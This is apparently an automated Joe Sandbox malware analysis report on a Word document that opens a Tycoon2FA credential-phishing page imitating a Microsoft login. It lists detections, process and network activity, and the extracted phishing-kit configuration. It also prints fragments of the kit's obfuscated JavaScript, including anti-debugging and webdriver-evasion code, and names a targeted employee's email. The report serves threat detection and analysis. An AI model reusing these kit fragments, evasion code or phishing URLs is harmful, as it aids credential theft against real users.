Edit tour

Windows Analysis Report
Revised - Mypharmaus 2025 Handbook03027.doc

Overview

General Information

Sample name:	Revised - Mypharmaus 2025 Handbook03027.doc
Analysis ID:	1649595
MD5:	38d67493b99fae2aac9334c1d1d46c88
SHA1:	27765895aa6908af6bdda7b06171f6318579a619
SHA256:	e696470757e4abbff702584eee1377f046cbd0210d0e9b9c58304d03075b9c16
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Queries random domain names (often used to prevent blacklisting and sinkholes)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

WINWORD.EXE (PID: 5740 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Revised - Mypharmaus 2025 Handbook03027.doc" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 6768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,1454995366028342243,5054997005277595752,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "Cjyo4",
  "emailcheck": "jason.hodges@purduepharma.com",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/wbWQrtC0CdDe2zFFzbkMMQkDCFplpnpwqu4gx1qPzemTtxCDFEfyV7X7ya6Qlc"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_93	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.0.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.5.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.15.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
0.6..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 18 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.15.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "Cjyo4", "emailcheck": "jason.hodges@purduepharma.com", "webname": "rtrim(/web9/, '/')", "urlo": "/wbWQrtC0CdDe2zFFzbkMMQkDCFplpnpwqu4gx1qPzemTtxCDFEfyV7X7ya6Qlc"}

Phishing

AI detected phishing page

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'c2uah.yazvbqkl.ru' does not match the legitimate domain 'microsoft.com'., The domain uses a '.ru' extension, which is unusual for Microsoft, a global company typically using '.com'., The URL contains random characters and does not resemble any known Microsoft subdomains or services., The presence of a Russian domain extension and random subdomain suggests a high likelihood of phishing. DOM: 1.3.pages.csv
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'c2uah.yazvbqkl.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The URL contains random characters and does not resemble any known Microsoft subdomain or service., The email domain 'purduepharma.com' in the input fields is unrelated to Microsoft, which could be a tactic to mislead users. DOM: 1.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_93, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.15.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.5.d.script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: Screenshot id: 10	Joe Sandbox AI: Screenshot id: 10 contains QR code
Source: Screenshot id: 26	Joe Sandbox AI: Screenshot id: 26 contains QR code
Source: Screenshot id: 25	Joe Sandbox AI: Screenshot id: 25 contains QR code
Source: Screenshot id: 24	Joe Sandbox AI: Screenshot id: 24 contains QR code

AI detected suspicious Javascript

Source: 0.6..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of debugger statements, and the attempt to override the context menu and keyboard events indicate malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzu... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a suspicious domain, and includes a function that performs encrypted communication. These factors indicate a high likelihood of malicious intent, warranting a high-risk score.
Source: 0.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `atob` function to decode base64-encoded strings, which are then used to construct and execute dynamic code. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of potential data exfiltration. The overall level of obfuscation and suspicious behavior suggests this script is likely malicious and poses a high risk.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzu... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts keyboard and clipboard events to prevent common debugging and security analysis actions. The script also includes an interval function that triggers a redirect to an external domain after a short delay, which is highly suspicious. Overall, this script demonstrates clear malicious intent and poses a significant security risk.
Source: 1.19..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/349Gmt1GFtekU1wpUIghzCHV... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY

HTTP Parser: Number of links: 0

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function neLUWCONtR(event) { co...

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY

HTTP Parser: Title: Secure Access Profile does not match URL

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: Invalid link: Terms of use
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: Invalid link: Privacy & cookies
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: Invalid link: Terms of use
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: Invalid link: Privacy & cookies

Source: https://c2uah.yazvbqkl.ru/QPImv5ff/	HTTP Parser: function alykiubmmj(){zlffldctsw = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "cjyo4";var emailcheck = "jason.hodges@purduepharma.com";var webname = "rtrim(/web9/, '/')";var urlo = "/wbwqrtc0cdde2zffzbkmmqkdcfplpnpwqu4gx1qpzemttxcdfefyv7x7ya6qlc";var gdf = "/ijquf5hkq3mroahfohxt9vvmerquvdc2ntyhkygkvrcd120";var odf = "/ijsp9bu5wto1exwlxa6ivnsagbx1wxybcmytpqiyyab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = ...

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY

HTTP Parser: <input type="password" .../> found

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No favicon
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No favicon

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No <meta name="author".. found
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No <meta name="author".. found

Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No <meta name="copyright".. found
Source: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.100:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.56.43:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.94:443 -> 192.168.2.16:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49795 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 54MB

Networking

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: Joe Sandbox View	IP Address: 140.82.112.4 140.82.112.4
Source: Joe Sandbox View	IP Address: 104.21.53.220 104.21.53.220
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100
Source: Joe Sandbox View	IP Address: 104.16.5.189 104.16.5.189

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.17
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.17
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.72.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.72.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /QPImv5ff/ HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=0.QNSFXymPmMx67dOpcxaHep58rL45xFr6E7iMOrG0c-1743028464-1.0.1.1-v8Sp9xOOkeGqKvQpAfTmIvtKKr3mA0tfo9QMVWcFu.f2.4uizWlXaKoAtlr7xuYTCxUQ1PkTsU.gEFW.403L8SGqBmyFlcKjryERssDIe4g
